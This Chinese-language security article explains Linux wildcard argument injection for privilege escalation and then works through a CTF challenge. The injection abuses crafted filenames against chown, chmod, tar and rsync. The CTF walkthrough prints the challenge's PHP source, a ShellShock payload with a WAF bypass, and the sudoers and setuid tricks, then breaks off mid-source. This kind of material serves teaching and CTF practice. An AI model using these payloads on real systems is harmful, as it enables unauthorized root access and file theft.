命令执行到提权

​ 文章首发于先知社区:https://xz.aliyun.com/t/4309

之前在补天平台首发了巧用命令注入的N种方式,看到了有几个师傅衍生出了不同的几个后续版本,都感觉挺不错的,对我的版本进行了一些补充。本来这个总结应该算是前半部分,想写的还没写完,当时又是在考试周,原本想在考试结束后就来写后半部分,又因为各种事给推掉了。所以现在来写后半部分提升篇,也算是对前半部分的补充与解释。

[TOC]

提权

这里我们讲讲在命令注入中更有意思的一种方法。

Wildcard Wilderness

Example 1

首先我们先看一个示例

1
2
3
echo "Hello Friends" > file1
echo "This is wildcard Injection" >file2
echo "take help" > --help

首先创建几个文件,其中有一个是--help,然后使用cat命令读取文件内容

1
2
3
cat file1
cat file 2
cat --help

如果按照我们预期的,是不是在第三个cat --help处应该是要读取—help文件的内容呢?然而我们执行cat —help却优先执行了cat命令的帮助选项,并没有读出—help里的内容。

不仅是catls等命令也会优先调用内置--help选项。

以及还有--all选项。

其实讲道理,词法分析把对诸如--help--all等选项优先处理为内置选项输出,看起来并没有任何问题

这个技巧叫做Wildcard wildness,中文有人译为通配符在野。(-all--help可以通过加入././-all./--help来特指这个文件,避免这个问题)

Example 2

如图,我们有两个文件,当用rm *的时候,只删掉了file1file2,并没有删除*

或者使用rm file1 file2 -rf逐个删除之时,也只删掉了file1file2

使用strace rm *我们可以发现

由于当前目录中存在-rf文件名,rm-rf选项作为最后一个参数,并且递归删除当前目录中的所有文件。同样,若要删除可以加上./-rf进行删除

Trick

我们可以利用Wildcard Wilderness做一些更有用的事情。

File Owner Hijacking

现在我们有三个用户,一个zedd,一个test,一个root用户。

我们分别用zeddtest创建了不同的文件,1.phptest.php都属于test用户的文件,zedd.php--reference=zedd.php均属于zedd用户的文件。

然后使用root用户使用chown -R test:test *.php命令,想把本目录下所有的.php文件修改为test用户所有。

但是结果我们可以发现,结果该目录下所有的.php文件都被修改为了zedd用户所有,成功“提权”。

原理我们可以用strace chown -R zedd:zedd *.php来看一下(注意这里换了一下,模拟想把.php文件改变成zedd用户所有)

我们可以看到

1
execve("/bin/chown", ["chown", "-R", "zedd:zedd", "config.php", "index.php", "--reference=.backdoor.php"], 0x7ffe5b43b1e8 /* 35 vars */) = 0

跟我们上个例子原理其实一样,--reference=.backdoor.php被作为一个选项进行了处理,而

1
2
--reference=RFILE  use RFILE's owner and group rather than
specifying OWNER:GROUP values

--reference=RFILE这个选项则是使用RFILE的文件拥有者和用户组来改变文件属性,而不是使用传入的OWNER:GROUP参数。

因此,在这种情况下,chown--reference选项将覆盖指定为root用户输入的参数zedd:zedd,把此目录中所有.php文件的所有者改变与.backdoor.php的所有者test

所以,按照这种方法,我们可以劫持root将文件的所有权更改为任意用户,并“劫持”我们想要的文件。

Chmod File Reference

类似chown的还有一个命令chmod,它也有--reference=RFIE的选项

1
--reference=RFILE  use RFILE's mode instead of MODE values

chown类似,因为有--reference=.backdoor.php的存在,在使用chmod 000 *的时候也会把劫持到与.backdoor.php文件权限一样的权限

Tar命令利用

首先我们来看看tar命令帮助文档中的几个有意思的选项

1
2
3
4
--checkpoint[=NUMBER]  
display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
execute ACTION on each checkpoint

从帮助文档,我们大致可以从中理解到,--checkpoint=1可以用来显示信息,--checkpoint-action=exec=sh shell.sh可以用来执行命令

先尝试构建一个shell.sh脚本,内容为/usr/bin/id,以及文件名为--checkpoint=1--checkpoint-action=exec=sh shell.sh的文件,使用tar -cf test.tar *把当前目录下所有文件压缩到test.tar压缩包内

可见,/usr/bin/id已经被成功执行输出。

与之前一样,--checkpoint=1--checkpoint-action=exec=sh shell.sh被作为选项处理

在 2018 SWPUCTF 上有一道 web 题考点也正是利用了这个点,由于题目官方没有开源,这里给一个比较详细的 @一叶飘零 师傅写的 wp 用于参考学习: 2018SWPUCTF-Web#信息再次发掘

rsync命令利用

rsync命令可能比较少用,我们这里简单介绍一下

NAME

​ rsync - a fast, versatile, remote (and local) file-copying tool

rsync命令是一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件。使用一个远程shell程序(如rshssh)来实现将本地机器的内容拷贝到远程机器。如:rsync -t *.c foo:src,复制当前本地文件夹下的所有的.c文件到 foo 远程服务器的/src文件夹下。

rsync帮助文档含有以下几个比较有意思的选项

1
2
-e, --rsh=COMMAND           specify the remote shell to use
--rsync-path=PROGRAM specify the rsync to run on remote machine

--rsh=COMMAND又是一个我们可以利用的地方,我们首先创建一个文件名为-e sh shell.c的文件,然后再创建一个shell.c文件,污染rsync参数来实现执行我们在shell.c中写入的预期命令

假设当前目录下我们拥有一个只有root用户可读的rootfile文件,由于不能直接输出结果,我们可以构造cat ./rootfile > ./output,将文件内容读出。

得到的output文件是 644 的权限,这样我们就成功构造了一个提权读取的文件的 payload ,这里可能需要注意的是,只能提取到执行rsync用户的权限,不是直接的root权限,这里因为执行命令的是root权限,所以能读取只有root用户才能读取的rootfile文件

Tips

  • 既然能执行命令,其实我们可以参照上篇列举的反弹 shell 的方式将 shell 反弹给我们,也可以配合msfvenom来使用。

  • tar命令比较多的都用在/etc/crontab计划任务中,经常会有管理员会用crontab来执行一些tar命令的备份操作,而且crontab执行的权限还是root权限,所以这是个很好利用的点

  • tar命令需要进入到--checkpoint=1文件所在的目录内,如果加上绝对路径将会失效,例如tar cf test.tar /var/www/html/*

    我们可以看到 shell 处理方式将/home/zedd/Desktop/test与目录下的文件名逐个拼接起来,就达不到污染参数的效果了

  • 还可以用echo "zedd ALL=(root) NOPASSWD: ALL" > /etc/sudoers,把自己直接写入管理员组

  • 利用chmod u+s /usr/bin/find提升为root权限执行,配合find命令的-exec COMMAND来执行命令,例如find f1 -exec "whoami" \;

文章中讨论的技术可以以不同的形式在各种流行的Unix工具上应用,这里仅仅是抛砖引玉,列举一部分命令。 在实际攻击中,任意 shell 选项/参数都可以隐藏在常规文件中,管理员也不容易发现,比如使用.backdoor.php等形式。

Other

这里讲讲几个虽然不属于提权,但是也比较有意思的几个点。

Echo

echo *可以用来显示目录,echo /???g可以用来探测文件

ln

NAME

​ ln - make links between files

ln命令常常用于链接两个文件,而且分两种链接模式,一种硬链接一种软链接,详细可以参考理解Linux硬链接与软链接。这里主要讲讲软链接,软链接相当于我们 Windows 中的快捷方式,可以使用ln -s创建

例如,这里我们根目录下有一个文件内容为flag{xxx}的名为flag文件,我们使用ln -s /flag file,在当前目录下创建一个file文件链接到/flag,使用cat filephp -r "echo file_get_contents('file')" 均可以读取到/flag的内容。

这个软链接读取文件内容已经被多次利用

ShellShock(CVE-2014-6271)

Bash 4.3以及之前的版本在处理某些构造的环境变量时存在安全漏洞,向环境变量值内的函数定义后添加多余的字符串会触发此漏洞,攻击者可利用此漏洞改变或绕过环境限制,以执行任意的 shell 命令,甚至完全控制目标系统,详细分析参考破壳(ShellShock)漏洞样本分析报告

  • CVE-2014-6271 测试方式:

    env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”

  • CVE-2014-7169 测试方式:(CVE-2014-6271补丁更新后仍然可以绕过)
    env -i X=’;() { (a)=>' bash -c ‘echo date’; cat echo

从一道题看Shell Shock

题目地址:command-executor——来源于 HackMe

题目描述:

​ Here’s my useless developer assistant website, try to execute your own command!

题目大体思路是:

  • 读取源码
  • Shell Shock命令执行
  • 重定向读写文件

题目设置为几个功能,一个man命令的帮助文档

选择了ls,多了个请求参数file=ls

尝试用其他命令,比如find

猜测eval("man /bin/" + command)或者一些其他的目录

Tar Tester界面可以上传压缩包但是并没有解压,只是tar -tvf test.tar查看压缩包内的内容

Cmd Exec界面只有两个命令,一个ls,一个env

List files是个目录列举界面,可以列举几个目录

观察题目,题目 urlhttps://command-executor.hackme.inndy.tw/index.php?func=untar等均带有func=xxx参数来展示页面,猜测会有文件包含漏洞,尝试使用func=php://filter/read=convert.base64-encode/resource=index读取文件内容,成功得到回显

解码得到 index.php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
<?php
$pages = [
['man', 'Man'],
['untar', 'Tar Tester'],
['cmd', 'Cmd Exec'],
['ls', 'List files'],
];

function fuck($msg) {
header('Content-Type: text/plain');
echo $msg;
exit;
}

$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

function execute($cmd, $shell='bash') {
system(sprintf('%s -c %s', $shell, escapeshellarg($cmd)));
}

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

$page = '';

if(isset($_GET['func'])) {
$page = $_GET['func'];
if(strstr($page, '..') !== false) {
$page = '';
}
}

if($page && strlen($page) > 0) {
try {
include("$page.php");
} catch (Exception $e) {
}
}

function render_default() { ?>
<p>Welcome to use our developer assistant service. We provide servial useless features to make your developing life harder.</p>

<img src="windows-run.jpg" alt="command executor">
<?php }
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Command Executor</title>
<link rel="stylesheet" href="bootstrap/css/bootstrap.min.css" media="all">
<link rel="stylesheet" href="comic-neue/font.css" media="all">
<style>
nav { margin-bottom: 1rem; }
img { max-width: 100%; }
</style>
</head>
<body>
<nav class="navbar navbar-expand-lg navbar-dark bg-dark d-flex">
<a class="navbar-brand" href="index.php">Command Executor</a>

<ul class="navbar-nav">
<?php foreach($pages as list($file, $title)): ?>
<li class="nav-item">
<a class="nav-link" href="index.php?func=<?=$file?>"><?=$title?></a>
</li>
<?php endforeach; ?>
</ul>
</nav>

<div class="container"><?php if(is_callable('render')) render(); else render_default(); ?></div>
</body>
</html>

man.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function render() {
$file = 'man';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
if(preg_match('/^[\w\-]+$/', $file) !== 1) {
echo '<pre>Invalid file name!</pre>';
return;
}
}

echo '<h1>Online documents</h1>';

$cmds = [
'bash', 'ls', 'cp', 'mv'
];

echo '<ul>';
foreach($cmds as $cmd) {
printf('<li><a href="index.php?func=man&file=%s">%1$s</a></li>', $cmd);
}
echo '</ul>';

printf('<h2>$ man %s</h2>', htmlentities($file));

echo '<pre>';
execute(sprintf('man %s | cat', escapeshellarg($file)));
echo '</pre>';
}
?>

untar.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function render() {
?>
<h1>Tar file tester</h1>

<p>Please upload a tar file to test</p>

<form enctype="multipart/form-data" action="index.php?func=untar" method="POST">
<input type="file" name="tarfile" id="tarfile">
<input class="btn btn-primary" type="submit" value="Upload &amp; Test">
</form>

<?php

if(isset($_FILES['tarfile'])) {
printf('<h2>$ tar -tvf %s</h2>', htmlentities($_FILES['tarfile']['name']));

echo '<pre>';
execute(sprintf('tar -tvf %s 2>&1', escapeshellarg($_FILES['tarfile']['tmp_name'])));
echo '</pre>';
}
}
?>

ls.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function render() {
$file = '.';
if(isset($_GET['file'])) {
$file = (string)$_GET['file'];
}

echo '<h1>Dictionary Traversal</h1>';

echo '<ul>';
$dirs = ['.', '..', '../..', '/etc/passwd'];
foreach($dirs as $dir) {
printf('<li><a href="index.php?func=ls&file=%s">%1$s</a></li>', $dir);
}
echo '</ul>';

printf('<h2>$ ls %s</h2>', htmlentities($file));

echo '<pre>';
execute(sprintf('ls -l %s', escapeshellarg($file)));
echo '</pre>';
}
?>

cmd.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
function render() {
$cmd = '';
if(isset($_GET['cmd'])) {
$cmd = (string)$_GET['cmd'];
}
?>
<h1>Command Execution</h1>
<?php
echo '<ul>';
$cmds = ['ls', 'env'];
foreach($cmds as $c) {
printf('<li><a href="index.php?func=cmd&cmd=%s">%1$s</a></li>', $c);
}
echo '</ul>';
?>

<form action="index.php" method="GET">
<input type="hidden" name="func" value="cmd">
<div class="input-group">
<input class="form-control" type="text" name="cmd" id="cmd">
<div class="input-group-append">
<input class="btn btn-primary" type="submit" value="Execute">
</div>
</div>
</form>
<script>cmd.focus();</script>
<?php

if(strlen($cmd) > 0) {
printf('<h2>$ %s</h2>', htmlentities($cmd));

echo '<pre>';
switch ($cmd) {
case 'env':
case 'ls':
case 'ls -l':
case 'ls -al':
execute($cmd);
break;
case 'cat flag':
echo '<img src="cat-flag.png" alt="cat flag">';
break;
default:
printf('%s: command not found', htmlentities($cmd));
}
echo '</pre>';
}
}
?>

接下来我们就可以利用ls.php来找flag了,因为ls.php没什么过滤,所以用func=ls&file=../../../可以发现根目录下的文件

接下来就是考虑怎么去读了,man.php因为有preg_match('/^[\w\-]+$/', $file) !== 1限制得比较死,untar.php貌似只有tar -tvf并没有什么用处,只有cmd.php给出了一个比较不太寻常的env这个命令,其实这样也算是提示得比较明显了,比较容易让人想到也可以比较容易搜到ShellShock漏洞,并且在index.php中发现有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$black_list = [
'\/flag', '\(\)\s*\{\s*:;\s*\};'
];

function waf($a) {
global $black_list;
if(is_array($a)) {
foreach($a as $key => $val) {
waf($key);
waf($val);
}
} else {
foreach($black_list as $b) {
if(preg_match("/$b/", $a) === 1) {
fuck("$b detected! exit now.");
}
}
}
}

waf($_SERVER);
waf($_GET);
waf($_POST);

foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

关键就在putenv函数,由于ShellShock漏洞 padyload 需要参数

1
env x='() { :;}; echo vulnerable' bash -c "echo this is a test" 

我们就可以利用putenv实现参数传递,直接设置User-agent: () { :;}; echo 222222,发现被 waf

分析 waf 结合漏洞成因,我们可以在最后的};中间添加一个空格绕过,设置User-Agent: () { :;} ; echo 222222,成功发现输出 22222 ,我们也可以使用() { _; } >_[$($())] { whoami; }这个 payload

发现当前用户为www-data,而我们之前发现根目录flag的权限为-r-------- 1 flag root 37 Jan 9 2018 flag,所以不能直接读取,但是有一个flag-readerflag-reader.c的文件,这应该是题目提示了。因为index.php又把flag关键字屏蔽了,我们也不能直接读取flag-reader.c,但是我们这里可以利用通配符读取,例如使用fla*.c

使用() { _; } >_[$($())] { cat /fla*.c; }得到flag-reader.c源码

Flag-reader.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <unistd.h>
#include <syscall.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buff[4096], rnd[16], val[16];
if(syscall(SYS_getrandom, &rnd, sizeof(rnd), 0) != sizeof(rnd)) {
write(1, "Not enough random\n", 18);
}

setuid(1337);
seteuid(1337);
alarm(1);
write(